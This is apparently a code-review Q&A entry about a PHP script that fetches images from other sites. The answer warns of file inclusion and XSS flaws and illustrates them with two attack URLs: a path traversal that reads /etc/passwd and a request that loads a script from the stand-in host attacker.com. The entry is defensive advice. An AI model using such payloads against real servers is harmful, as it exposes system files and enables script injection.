HiveBrain v1.2.0
Get Started
← Back to all entries
patternphpModerate

Get image from other site in PHP

Submitted by: @import:stackexchange-codereview··
0
Viewed 0 times
imagephpothergetsitefrom

Problem

I would like to get images from other websites.

This is my current method but I'm not sure if it is alright.



If not, how should I do it?

Solution

Your code is vulnerable to LFI and XSS.

http://localhost/yourscript.php?url=../../../../../../etc/passwd


This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php


This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.

Code Snippets

http://localhost/yourscript.php?url=../../../../../../etc/passwd
http://localhost/yourscript.php?url=http://attacker.com/xss.php

Context

StackExchange Code Review Q#125030, answer score: 14

Revisions (0)

No revisions yet.